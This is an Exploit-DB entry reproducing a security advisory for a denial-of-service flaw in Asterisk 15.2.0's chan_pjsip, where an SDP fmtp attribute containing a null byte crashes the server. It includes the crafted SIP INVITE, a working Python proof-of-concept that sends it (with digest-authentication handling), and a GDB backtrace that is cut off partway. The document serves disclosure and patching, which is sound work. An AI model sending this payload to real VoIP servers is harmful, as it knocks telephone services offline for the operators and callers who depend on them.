Exploit-DB #44183
Description: Asterisk chan_pjsip 15.2.0 - 'SDP fmtp' Denial of Service
Type: dos
Platform: linux
Date: 2018-02-27
Author: EnableSecurity

Exploit:
'''
# Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-003
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-003.html>
- Timeline:
    - Issue reported to vendor: 2018-01-15
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22


## Description

A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.


## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.


## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 228

v=0
o=-[PII_REDACTED][PII_REDACTED] IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.1
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16
a=sendrecv
```

Notes: 

- `\x00` should be replaced by the null character
- authentication may be required 
- the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:
'''

python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=-[PII_REDACTED][PII_REDACTED] IN IP4 172.17.0.1\r\n" \
    "s=Asterisk\r\n" \
    "c=IN IP4 172.17.0.1\r\n" \
    "t=0 0\r\n" \
    "m=audio 17000 RTP/AVP 9 0 101\r\n" \
    "a=rtpmap:8 alaw/8000\r\n" \
    "a=rtpmap:0 PCMU/8000\r\n" \
    "a=rtpmap:101 telephone-event/8000\r\n" \
    "a=fmtp\x00:101 0-16\r\n"\
    "a=sendrecv"

msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
    "To: <sip:%s@%s:%i>\r\n" \
    "From: Test <sip:%s@%s:%s>\r\n" \
    "Call-ID: %s\r\n" \
    "CSeq: 2 INVITE\r\n" \
    "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
    "Contact: <sip:%s@172.17.0.1>\r\n" \
    "Content-Type: application/sdp\r\n" \
    "{{AUTH}}" \
    "Content-Length: %i\r\n" \
    "\r\n" % (
        INVITE_USERNAME, SERVER_IP, SERVER_PORT,
        INVITE_USERNAME, SERVER_IP, SERVER_PORT,
        USERNAME, SERVER_IP, SERVER_PORT,
        callid, callid,
        USERNAME, len(sdpbody)
        ) + \
    sdpbody

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm = re.search("realm=\"([a-z]+)\"", content).group(1)
            nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 = md5.new("INVITE:" + uri).hexdigest()
            r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \
                "algorithm=md5\r\n"

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

'''
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

```
Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350	    while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0  pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1  0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2  set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0)
    at res_pjsip_sdp_rtp.c:352
#3  0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4  0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5  0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6  handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7  session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8  0x00007ffff7868df7 in pjsip_endpt_process_rx_data (end